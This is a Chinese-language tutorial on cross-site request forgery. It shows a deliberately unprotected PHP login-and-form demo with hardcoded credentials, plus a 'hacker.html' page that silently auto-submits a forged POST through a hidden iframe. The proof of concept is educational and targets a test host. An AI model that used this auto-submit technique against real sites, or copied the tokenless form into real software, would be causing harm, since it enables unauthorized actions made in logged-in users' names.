CSRF 跨站请求伪造

CSRF(Cross Site Request Forgery),中文是跨站请求伪造。CSRF攻击者在用户已经登录目标网站之后,诱使用户访问一个攻击页面,利用目标网站对用户的信任,以用户身份在攻击页面对目标网站发起伪造用户操作的请求,达到攻击目的。

举个列子

假如A站为受信任的银行网站,其中有个银行转账的表单;B站为黑客网站,其中有个页面带有伪造A站银行转账表单提交的请求,当用户登录A站后,在不退出的情况下,再去访问B站,就会向黑客指定账户转账。

A站代码(这里通过表单提交文本内容模拟银行转账)

index.php 控制器文件

<?php

namespace controller;

use mini\Controller;

class Index extends Controller
{
    /**
     * 构造方法 未登录 前往登录
     * Index constructor.
     */
    public function __construct()
    {
        parent::__construct();
        if($_GET['a'] == 'index') {
            if (!$_SESSION['uid']) {
                redirect('/index/login');
            }
        }
    }

    /**
     * 表单提交页面及展示提交的内容
     */
    public function index()
    {
        if($_POST){
            $_SESSION['content'][] = $_POST['content'];
        }
        //session_destroy();
        var_dump($_SESSION['content']);
        $this->display();
    }

    /**
     * 用户登录界面及操作
     */
    public function login()
    {
        if($_POST['submit']){
            if(($_POST['uname'] == 'jack') && ($_POST['passwd'] == '123456')){
                $_SESSION['uid'] = 1;
                redirect('/index/index');
            }else{
                redirect('/index/login');
            }
        }else{
            $this->display();
        }
    }
}

login.html 登录视图

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
    <form method="post">
        <label>用户名:<input type="text" name="uname" /></label><br>
        <label>密码:<input type="text" name="passwd" /></label><br>
        <input name="submit" type="submit" value="提交" />
    </form>
</body>
</html>

index.html 表单提交视图

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
    <form method="post">
        <label>内容:<textarea name="content"></textarea></label>
        <input type="submit" value="提交" />
    </form>
</body>
</html>

B站代码 (这里通过iframe隐式提交伪造的表单)

hacker.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
    test
    <script>
        document.write('<form method="post" id="Myform" action="http://test.idev/" target="csrf" style="display:none">\n' +
                '        <label>内容:<textarea name="content">我是hacker</textarea></label>\n' +
                '        <input type="submit" value="提交" />\n' +
                '    </form>');

        var body = document.body;
        var iframe = document.createElement('iframe');
        iframe.name = 'csrf';
        iframe.style = 'display:none';
        body.appendChild(iframe);

        setTimeout(function(){
            document.getElementById('Myform').submit();
        },1000);
    </script>
</body>
</html>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值